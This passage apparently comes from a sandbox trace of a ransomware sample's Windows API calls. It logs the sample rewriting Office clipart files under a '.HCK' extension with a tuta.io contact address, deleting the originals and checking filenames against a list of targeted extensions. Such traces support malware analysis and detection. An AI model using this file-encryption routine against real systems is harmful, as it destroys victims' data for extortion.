hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.217] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.218] SetEndOfFile (hFile=0x370) returned 1 [0180.220] CloseHandle (hObject=0x370) returned 1 [0180.221] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.221] SetEndOfFile (hFile=0x3a4) returned 1 [0180.225] CloseHandle (hObject=0x3a4) returned 1 [0180.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01394_.wmf")) returned 1 [0180.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.230] lstrlenW (lpString=".doc") returned 4 [0180.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.230] lstrlenW (lpString=".docx") returned 5 [0180.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.230] lstrlenW (lpString=".pdf") returned 4 [0180.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.230] lstrlenW (lpString=".xls") returned 4 [0180.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.230] lstrlenW (lpString=".xlsx") returned 5 [0180.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.230] lstrlenW (lpString=".ppt") returned 4 [0180.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.231] lstrlenW (lpString=".zip") returned 4 [0180.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.231] lstrlenW (lpString=".rar") returned 4 [0180.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString=".bz2") returned 4 [0180.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString=".7z") returned 3 [0180.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.231] lstrlenW (lpString=".dbf") returned 4 [0180.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.231] lstrlenW (lpString=".1cd") returned 4 [0180.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.231] lstrlenW (lpString=".jpg") returned 4 [0180.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.231] lstrlenW (lpString=".doc") returned 4 [0180.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString=".docx") returned 5 [0180.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.231] lstrlenW (lpString=".pdf") returned 4 [0180.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString=".xls") returned 4 [0180.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.231] lstrlenW (lpString=".xlsx") returned 5 [0180.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.231] lstrlenW (lpString=".ppt") returned 4 [0180.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.231] lstrlenW (lpString=".zip") returned 4 [0180.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.231] lstrlenW (lpString=".rar") returned 4 [0180.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString=".bz2") returned 4 [0180.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString=".7z") returned 3 [0180.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.231] lstrlenW (lpString=".dbf") returned 4 [0180.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.231] lstrlenW (lpString=".1cd") returned 4 [0180.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 68 [0180.231] lstrlenW (lpString=".jpg") returned 4 [0180.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.232] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.232] lstrlenW (lpString="SO00018_.WMF") returned 12 [0180.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.234] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=13046) returned 1 [0180.234] CloseHandle (hObject=0x300) returned 1 [0180.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00018_.wmf")) returned 0x220 [0180.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00018_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.239] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.239] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00018_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.242] GetLastError () returned 0x0 [0180.242] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x32f6, lpOverlapped=0x0) returned 1 [0180.243] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3300, lpOverlapped=0x0) returned 1 [0180.244] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.244] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.244] SetEndOfFile (hFile=0x300) returned 1 [0180.245] CloseHandle (hObject=0x300) returned 1 [0180.246] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.246] SetEndOfFile (hFile=0x368) returned 1 [0180.251] CloseHandle (hObject=0x368) returned 1 [0180.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00018_.wmf")) returned 1 [0180.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.255] lstrlenW (lpString=".doc") returned 4 [0180.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.255] lstrlenW (lpString=".docx") returned 5 [0180.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.255] lstrlenW (lpString=".pdf") returned 4 [0180.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.255] lstrlenW (lpString=".xls") returned 4 [0180.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.255] lstrlenW (lpString=".xlsx") returned 5 [0180.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.255] lstrlenW (lpString=".ppt") returned 4 [0180.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.255] lstrlenW (lpString=".zip") returned 4 [0180.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.255] lstrlenW (lpString=".rar") returned 4 [0180.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.255] lstrlenW (lpString=".bz2") returned 4 [0180.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.255] lstrlenW (lpString=".7z") returned 3 [0180.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.255] lstrlenW (lpString=".dbf") returned 4 [0180.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.256] lstrlenW (lpString=".1cd") returned 4 [0180.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.256] lstrlenW (lpString=".jpg") returned 4 [0180.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.256] lstrlenW (lpString=".doc") returned 4 [0180.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.256] lstrlenW (lpString=".docx") returned 5 [0180.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.256] lstrlenW (lpString=".pdf") returned 4 [0180.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.256] lstrlenW (lpString=".xls") returned 4 [0180.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.256] lstrlenW (lpString=".xlsx") returned 5 [0180.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.256] lstrlenW (lpString=".ppt") returned 4 [0180.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.256] lstrlenW (lpString=".zip") returned 4 [0180.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.256] lstrlenW (lpString=".rar") returned 4 [0180.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.256] lstrlenW (lpString=".bz2") returned 4 [0180.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.256] lstrlenW (lpString=".7z") returned 3 [0180.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.256] lstrlenW (lpString=".dbf") returned 4 [0180.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.256] lstrlenW (lpString=".1cd") returned 4 [0180.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 68 [0180.256] lstrlenW (lpString=".jpg") returned 4 [0180.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.256] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.256] lstrlenW (lpString="SO00166_.WMF") returned 12 [0180.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.257] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=13746) returned 1 [0180.257] CloseHandle (hObject=0x300) returned 1 [0180.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00166_.wmf")) returned 0x220 [0180.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00166_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.265] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.265] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00166_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.268] GetLastError () returned 0x0 [0180.268] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x35b2, lpOverlapped=0x0) returned 1 [0180.270] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x35c0, lpOverlapped=0x0) returned 1 [0180.271] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.271] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.271] SetEndOfFile (hFile=0x3a4) returned 1 [0180.274] CloseHandle (hObject=0x3a4) returned 1 [0180.274] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.274] SetEndOfFile (hFile=0x368) returned 1 [0180.276] CloseHandle (hObject=0x368) returned 1 [0180.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00166_.wmf")) returned 1 [0180.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.280] lstrlenW (lpString=".doc") returned 4 [0180.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.280] lstrlenW (lpString=".docx") returned 5 [0180.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.280] lstrlenW (lpString=".pdf") returned 4 [0180.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.280] lstrlenW (lpString=".xls") returned 4 [0180.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.280] lstrlenW (lpString=".xlsx") returned 5 [0180.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.280] lstrlenW (lpString=".ppt") returned 4 [0180.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.280] lstrlenW (lpString=".zip") returned 4 [0180.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.280] lstrlenW (lpString=".rar") returned 4 [0180.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.280] lstrlenW (lpString=".bz2") returned 4 [0180.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.280] lstrlenW (lpString=".7z") returned 3 [0180.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.280] lstrlenW (lpString=".dbf") returned 4 [0180.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.280] lstrlenW (lpString=".1cd") returned 4 [0180.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.280] lstrlenW (lpString=".jpg") returned 4 [0180.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.280] lstrlenW (lpString=".doc") returned 4 [0180.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.280] lstrlenW (lpString=".docx") returned 5 [0180.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.280] lstrlenW (lpString=".pdf") returned 4 [0180.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.280] lstrlenW (lpString=".xls") returned 4 [0180.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.280] lstrlenW (lpString=".xlsx") returned 5 [0180.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.280] lstrlenW (lpString=".ppt") returned 4 [0180.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.281] lstrlenW (lpString=".zip") returned 4 [0180.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.281] lstrlenW (lpString=".rar") returned 4 [0180.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.281] lstrlenW (lpString=".bz2") returned 4 [0180.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.281] lstrlenW (lpString=".7z") returned 3 [0180.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.281] lstrlenW (lpString=".dbf") returned 4 [0180.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.281] lstrlenW (lpString=".1cd") returned 4 [0180.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF") returned 68 [0180.281] lstrlenW (lpString=".jpg") returned 4 [0180.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.281] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.281] lstrlenW (lpString="SO00183_.WMF") returned 12 [0180.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.284] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10300) returned 1 [0180.284] CloseHandle (hObject=0x300) returned 1 [0180.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00183_.wmf")) returned 0x220 [0180.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00183_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.292] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.292] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00183_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.294] GetLastError () returned 0x0 [0180.294] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x283c, lpOverlapped=0x0) returned 1 [0180.296] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2840, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2840, lpOverlapped=0x0) returned 1 [0180.297] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.297] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 